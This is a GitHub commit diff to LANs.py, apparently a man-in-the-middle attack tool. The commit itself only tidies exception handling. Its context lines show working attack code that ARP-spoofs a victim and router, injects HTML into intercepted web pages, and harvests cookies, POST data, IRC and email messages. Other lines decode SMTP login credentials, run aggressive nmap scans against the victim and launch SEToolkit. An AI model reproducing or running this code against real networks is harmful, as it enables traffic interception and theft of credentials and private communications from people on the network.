github/LANs.py
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cleaned up empty except statements

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This commit is contained in:
ganye 2013-11-25 12:41:00 -08:00
parent b1480c027c
commit cdb954ee98
1 changed files with 35 additions and 35 deletions
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70
LANs.py
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@ -25,7 +25,7 @@ __version__ = 1.0
try: try:
import nfqueue import nfqueue
except: except Exception:
nfq = raw_input('[-] python-nfqueue not installed, would you like to install now? (apt-get install -y python-nfqueue will be run if yes) [y/n]: ') nfq = raw_input('[-] python-nfqueue not installed, would you like to install now? (apt-get install -y python-nfqueue will be run if yes) [y/n]: ')
if nfq == 'y': if nfq == 'y':
os.system('apt-get install -y python-nfqueue') os.system('apt-get install -y python-nfqueue')
@ -137,12 +137,12 @@ class Parser():
if self.args.ipaddress: if self.args.ipaddress:
try: try:
pkt = payload[IP] pkt = payload[IP]
except: except Exception:
return return
else: else:
try: try:
pkt = IP(payload.get_data()) pkt = IP(payload.get_data())
except: except Exception:
return return
IP_layer = pkt[IP] IP_layer = pkt[IP]
@ -195,7 +195,7 @@ class Parser():
try: try:
headers, body = load.split("\r\n\r\n", 1) headers, body = load.split("\r\n\r\n", 1)
except: except Exception:
headers = load headers = load
body = '' body = ''
header_lines = headers.split("\r\n") header_lines = headers.split("\r\n")
@ -234,7 +234,7 @@ class Parser():
r = requests.get('http://'+self.html_url, headers=UA_header) r = requests.get('http://'+self.html_url, headers=UA_header)
try: try:
body = r.text.encode('utf-8') body = r.text.encode('utf-8')
except: except Exception:
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
debugger = open('/home/user/projects/origBody', 'w') debugger = open('/home/user/projects/origBody', 'w')
debugger.write(body) debugger.write(body)
@ -246,11 +246,11 @@ class Parser():
try: try:
psplit = body.split('</head>', 1) psplit = body.split('</head>', 1)
body = psplit[0]+bhtml+'</head>'+psplit[1] body = psplit[0]+bhtml+'</head>'+psplit[1]
except: except Exception:
try: try:
psplit = body.split('<head>', 1) psplit = body.split('<head>', 1)
body = psplit[0]+'<head>'+bhtml+psplit[1] body = psplit[0]+'<head>'+bhtml+psplit[1]
except: except Exception:
if not self.args.code: if not self.args.code:
self.html_url = None self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
@ -262,11 +262,11 @@ class Parser():
try: try:
psplit = body.split('<head>', 1) psplit = body.split('<head>', 1)
body = psplit[0]+'<head>'+chtml+psplit[1] body = psplit[0]+'<head>'+chtml+psplit[1]
except: except Exception:
try: try:
psplit = body.split('</head>', 1) psplit = body.split('</head>', 1)
body = psplit[0]+chtml+'</head>'+psplit[1] body = psplit[0]+chtml+'</head>'+psplit[1]
except: except Exception:
self.html_url = None self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
return return
@ -283,7 +283,7 @@ class Parser():
f.write(body) f.write(body)
f.close() f.close()
body = comp_body.getvalue() body = comp_body.getvalue()
except: except Exception:
try: try:
pkt[Raw].load = headers+"\r\n\r\n"+body pkt[Raw].load = headers+"\r\n\r\n"+body
pkt[IP].len = len(str(pkt)) pkt[IP].len = len(str(pkt))
@ -294,7 +294,7 @@ class Parser():
print '[-] Could not recompress html, sent packet as is' print '[-] Could not recompress html, sent packet as is'
self.html_url = None self.html_url = None
return return
except: except Exception:
self.html_url = None self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
return return
@ -311,7 +311,7 @@ class Parser():
self.block_acks.append(ack) self.block_acks.append(ack)
payload.set_verdict(nfqueue.NF_DROP) payload.set_verdict(nfqueue.NF_DROP)
self.html_url = None self.html_url = None
except: except Exception:
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None self.html_url = None
print '[-] Failed to inject packet' print '[-] Failed to inject packet'
@ -326,10 +326,10 @@ class Parser():
if searchHost: if searchHost:
try: try:
return l.split('Host: ', 1)[1] return l.split('Host: ', 1)[1]
except: except Exception:
try: try:
return l.split('host: ', 1)[1] return l.split('host: ', 1)[1]
except: except Exception:
return return
def get_get(self, header_lines): def get_get(self, header_lines):
@ -338,7 +338,7 @@ class Parser():
if searchGet: if searchGet:
try: try:
return l.split('GET ')[1].split(' ')[0] return l.split('GET ')[1].split(' ')[0]
except: except Exception:
return return
def get_post(self, header_lines): def get_post(self, header_lines):
@ -347,7 +347,7 @@ class Parser():
if searchPost: if searchPost:
try: try:
return l.split(' ')[1].split(' ')[0] return l.split(' ')[1].split(' ')[0]
except: except Exception:
return return
def get_url(self, host, get, post): def get_url(self, host, get, post):
@ -383,7 +383,7 @@ class Parser():
try: try:
urlsplit = url.split('/') urlsplit = url.split('/')
url = urlsplit[0]+'/'+urlsplit[1] url = urlsplit[0]+'/'+urlsplit[1]
except: except Exception:
pass pass
if self.HTTPfragged == 1: if self.HTTPfragged == 1:
print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W
@ -419,7 +419,7 @@ class Parser():
self.HTTPfragged = 0 self.HTTPfragged = 0
try: try:
headers, body = load.split(r"\r\n\r\n", 1) headers, body = load.split(r"\r\n\r\n", 1)
except: except Exception:
headers = load headers = load
body = '' body = ''
header_lines = headers.split(r"\r\n") header_lines = headers.split(r"\r\n")
@ -512,7 +512,7 @@ class Parser():
ircmsg = load[1] ircmsg = load[1]
print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W
logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n') logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n')
except: except Exception:
return return
def cookies(self, host, header_lines): def cookies(self, host, header_lines):
@ -553,7 +553,7 @@ class Parser():
try: try:
headers, body = load.split(r"\r\n\r\n", 1) headers, body = load.split(r"\r\n\r\n", 1)
except: except Exception:
headers = load headers = load
body = '' body = ''
header_lines = headers.split(r"\r\n") header_lines = headers.split(r"\r\n")
@ -657,7 +657,7 @@ class Parser():
beginning = body.split(r"\r\n", 1)[0] beginning = body.split(r"\r\n", 1)[0]
body1 = body.split(r"\r\n\r\n", 1)[1] body1 = body.split(r"\r\n\r\n", 1)[1]
message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
except: except Exception:
return return
if message != '': if message != '':
if self.mailfragged == 1: if self.mailfragged == 1:
@ -684,13 +684,13 @@ class Parser():
try: try:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "") b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except: except Exception:
pass pass
else: else:
try: try:
b64str = load b64str = load
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except: except Exception:
pass pass
# Test to see if decode worked # Test to see if decode worked
if '@' in decoded: if '@' in decoded:
@ -778,7 +778,7 @@ class active_users():
nmap = Popen(['/usr/bin/nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN) nmap = Popen(['/usr/bin/nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN)
nmap = nmap.communicate()[0] nmap = nmap.communicate()[0]
nmap = nmap.splitlines()[2:-1] nmap = nmap.splitlines()[2:-1]
except: except Exception:
print '[-] Nmap ARP ping failed, is nmap installed?' print '[-] Nmap ARP ping failed, is nmap installed?'
for x in nmap: for x in nmap:
if 'Nmap' in x: if 'Nmap' in x:
@ -811,14 +811,14 @@ class active_users():
nbt = nbt.communicate()[0] nbt = nbt.communicate()[0]
nbt = nbt.splitlines() nbt = nbt.splitlines()
nbt = nbt[4:] nbt = nbt[4:]
except: except Exception:
print '[-] nbtscan error, are you sure it is installed?' print '[-] nbtscan error, are you sure it is installed?'
for l in nbt: for l in nbt:
try: try:
l = l.split() l = l.split()
nbtip = l[0] nbtip = l[0]
nbtname = l[1] nbtname = l[1]
except: except Exception:
print '[-] Could not find any netbios names. Continuing without them' print '[-] Could not find any netbios names. Continuing without them'
if nbtip and nbtname: if nbtip and nbtname:
for a in self.IPandMAC: for a in self.IPandMAC:
@ -832,7 +832,7 @@ class active_users():
promisc = promiscSearch.communicate()[0] promisc = promiscSearch.communicate()[0]
monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc) monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
self.monmode = monmodeSearch.group(1) self.monmode = monmodeSearch.group(1)
except: except Exception:
exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?') exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
sniff(iface=self.monmode, prn=self.pkt_cb, store=0) sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
@ -885,7 +885,7 @@ def threads(args):
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',)) se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True se.daemon = True
se.start() se.start()
except: except Exception:
print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.' print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.'
if args.nmapaggressive: if args.nmapaggressive:
@ -894,7 +894,7 @@ def threads(args):
n = Thread(target=os.system, args=('nmap -e '+interface+' -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',)) n = Thread(target=os.system, args=('nmap -e '+interface+' -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',))
n.daemon = True n.daemon = True
n.start() n.start()
except: except Exception:
print '[-] Aggressive Nmap scan failed, is nmap installed?' print '[-] Aggressive Nmap scan failed, is nmap installed?'
if args.setoolkit: if args.setoolkit:
@ -903,7 +903,7 @@ def threads(args):
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',)) se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True se.daemon = True
se.start() se.start()
except: except Exception:
print '[-] Could not open SEToolkit, continuing without it.' print '[-] Could not open SEToolkit, continuing without it.'
def pcap_handler(args): def pcap_handler(args):
@ -1009,7 +1009,7 @@ def main(args):
routerMAC = Spoof().originalMAC(routerIP) routerMAC = Spoof().originalMAC(routerIP)
print "[*] Router MAC: " + routerMAC print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: "+routerMAC+'\n') logger.write("[*] Router MAC: "+routerMAC+'\n')
except: except Exception:
try: try:
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache" print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN) arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
@ -1018,7 +1018,7 @@ def main(args):
routerMAC = arpoutput[2] routerMAC = arpoutput[2]
print "[*] Router MAC: " + routerMAC print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: "+routerMAC+'\n') logger.write("[*] Router MAC: "+routerMAC+'\n')
except: except Exception:
sys.exit("[-] [arp -n] failed to give accurate router MAC address") sys.exit("[-] [arp -n] failed to give accurate router MAC address")
if args.victimmac: if args.victimmac:
@ -1030,13 +1030,13 @@ def main(args):
victimMAC = Spoof().originalMAC(victimIP) victimMAC = Spoof().originalMAC(victimIP)
print "[*] Victim MAC: " + victimMAC print "[*] Victim MAC: " + victimMAC
logger.write("[*] Victim MAC: "+victimMAC+'\n') logger.write("[*] Victim MAC: "+victimMAC+'\n')
except: except Exception:
exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address") exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address")
if dnsIP != routerIP: if dnsIP != routerIP:
try: try:
dnsMAC = Spoof().originalMAC(dnsIP) dnsMAC = Spoof().originalMAC(dnsIP)
print "[*] DNS server MAC: " + dnsMAC print "[*] DNS server MAC: " + dnsMAC
except: except Exception:
print "[-] Could not get DNS server MAC address; continuing" print "[-] Could not get DNS server MAC address; continuing"
if dnsIP == routerIP: if dnsIP == routerIP:
dnsMAC = routerMAC dnsMAC = routerMAC
@ -1055,7 +1055,7 @@ def main(args):
if x != '': if x != '':
print '[+]',x print '[+]',x
logger.write('[+] '+x+'\n') logger.write('[+] '+x+'\n')
except: except Exception:
print '[-] Nmap port and OS scan failed, is it installed?' print '[-] Nmap port and OS scan failed, is it installed?'
print '' print ''